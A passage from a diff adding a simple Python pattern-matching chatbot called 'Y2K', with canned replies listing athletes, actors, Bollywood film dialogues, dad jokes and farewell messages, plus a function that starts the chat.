"Archery","Skates", "Volleyball", "Table Tennis", "Golf",] + ], + [ + r"(.*) (sports person|player)", + ["Lionel Messi","Sania Mirza", "Sachin Tendulkar", "Virat Kohli", "Kevin Durant","Hardik Pandya", "Rohit Sharma", "P. V. Sindhu", "Parupalli Kashyap","Sania Mirza", "Dhyan Chand", "Cristiano Ronaldo", "Robert Lewandowski","Chris Gayle", "Steve Smith", "David Warner", "Ricky Ponting","Stephen Curry", "LeBron James", "M.S.Dhoni", "Chris Paul",] + ], + [ + r"(.*) actor", + ["Robert Downey, Jr.", "Chris Hemsworth", "Tom Holland", "Brad Pitt","Tom Hiddleston", "Tom Cruise", "Chris Evans", "Benedict Cumberbatch","Paul Rudd", "Jeremy Renner", "Ian Somerhalder ","Paul Wesley", "Aamir Khan", "Amitabh Bachchan","Anil Kapoor", "Ranveer Singh", "Ranbir Kapoor", "Salman Khan","Sanjay Dutt", "Shah Rukh Khan", "Tiger Shroff", "Varun Dhawan",] + ], + [ + r"(.*) dialogue", + ["Mere paas maa hai.","Pushpa, I hate tears…","Kitne aadmi the!","Babumoshai, zindagi badi honi chahiye, lambi nahi.","Rishtey mein toh hum tumhare baap lagte hai, naam hai Shahenshaah!","Dosti ka ek usool hai madam – no sorry, no thank you.","Mogambo khush hua!","Hum jahan khade hote hain line yahi se shuru hoti hai.","Bade bade deshon mein aisi choti-choti baatein hoti rehti hai, Senorita.","Haar kar jeetne wale ko baazigar kehte hai.","Mere Karan Arjun aayenge.","Agar maa ka doodh piya hai toh samne aa!","Uska to na bad luck hi kharab hai.","Crime Master Gogo naam hai mera, aankhen nikal ke gotiyan khelta hun main.","Tareekh pe tareekh, tareekh pe tareekh, tareekh pe tareekh milti gayi My Lord, par insaaf nahi mila","Rahul, naam toh suna hi hoga.","Mein apni favourite hoon!","Picture abhi baaki hai mere dost!","How’s the josh?","Thappad se darr nahi lagta sahab, pyaar se lagta hai.","Filmein sirf teen cheezo ke wajah se chalti hai…entertainment, entertainment, entertainment…aur main entertainment hoon.","All izz well",] + ], + [ + r"quit", + ["Bye take care. See you soon :) ","It was nice talking to you. See you soon :)",] + ], + [ + r"(.*) joke", + ["Why did the tomato blush? Because it saw the salad dressing.","What do you call bears with no ears? B","What do dentists call X-rays? Tooth pics.","Did you hear about the first restaurant to open on the moon? It had great food, but no atmosphere.","What did one wall say to the other wall? I’ll meet you at the corner.","When does a joke become a “dad” joke? When the punchline is apparent.","What did the paper say to the pencil? Write on!","How did the bullet lose its job? It got fired.","Why should you never trust stairs? They are always up to something.","Sometimes I tuck my knees into my chest and lean forward.That’s just how I roll.","What do you call a cheese that’s not yours? Nacho cheese!","Did you hear about the cheese factory that exploded in France?There was nothing left but de Brie.",] + ], + [ + r"even me", + ["That's great"] + ], + [ + r"thank you", + ["Your welcome , would you like to know something else if no then please type in QUIT to exit",] + ], +] +def chat(): + print("Hi! I am Y2K..") + chat = Chat(pairs, reflections) + chat.converse() + +#initiate the conversation +if __name__ == "__main__": + chat() \ No newline at end of file